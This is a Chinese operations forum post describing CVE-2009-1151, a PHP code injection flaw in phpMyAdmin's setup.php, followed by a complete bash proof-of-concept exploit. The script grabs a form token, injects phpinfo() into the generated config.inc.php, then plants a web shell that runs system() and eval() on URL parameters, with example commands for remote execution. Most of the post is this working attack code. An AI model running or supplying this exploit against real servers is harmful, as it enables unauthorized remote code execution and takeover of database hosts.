设为首页 收藏本站
查看: 630|回复: 0

[经验分享] phpMyAdmin setup.php脚本PHP代码注入漏洞

[复制链接]

尚未签到

发表于 2018-12-22 08:17:57 | 显示全部楼层 |阅读模式
影响版本:
phpMyAdmin phpMyAdmin 3.x
phpMyAdmin phpMyAdmin 2.11.x


漏洞描述:
phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL。
phpMyAdmin的Setup脚本用于生成配置。如果远程***者向该脚本提交了特制的POST请求的话,就可能在生成的config.inc.php 配置文件中包含任意PHP代码。由于配置文件被保存到了服务器上,未经认证的远程***者可以利用这个漏洞执行任意PHP代码。




测试方法:
http://sebug.net/exploit/11571/phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit
#!/bin/bash
# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln,   
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!
# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)
# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)
# more info on:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/
if [[ $# -ne 1 ]]
then
  echo "usage: ./$(basename $0) "
  echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
  exit
fi
if ! which curl >/dev/null
then
  echo "sorry but you need curl for this script to work!"
                echo "on Debian/Ubuntu: sudo apt-get install curl"
                exit
fi
function exploit {
postdata="token=$1&action=save&configuration="\
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"
postdata2="token=$1&action=save&configuration=a:1:"\
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"
  flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"
  echo "[+] attempting to inject phpinfo() ..."
  curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null
  if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
  then
    curl -ks --url "$3/config/config.inc.php" >$flag   
    echo "[+] success! phpinfo() injected successfully! output saved on $flag"
    curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
    echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
    echo "        $3/config/config.inc.php?c=ls+-l+/"
    echo "        $3/config/config.inc.php?p=phpinfo();"
    echo "        please send any feedback/improvements for this script to"\
    "unknown.pentestergmail.com"
  else
    echo "[+] no luck injecting to $3/config/config.inc.php :("
    exit
  fi
}
# end of exploit function
cookiejar="/tmp/$(basename $0).$RANDOM.txt"
token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`
echo "[+] checking if phpMyAdmin exists on URL provided ..."
#if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null
if grep phpMyAdmin $cookiejar &>/dev/null
then
  length=`echo -n $token | wc -c`
  # valid form token obtained?
  if [[ $length -eq 32 ]]
  then
    echo "[+] phpMyAdmin cookie and form token received successfully. Good!"
    # attempt exploit!
    exploit $token $cookiejar $1
  else
    echo "[+] could not grab form token. you might want to try exploiting the vuln manually :("
    exit
  fi
else
  echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?"
  exit
fi







运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-654217-1-1.html 上篇帖子: php趣味 下篇帖子: 针对php 5.3.6 php
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表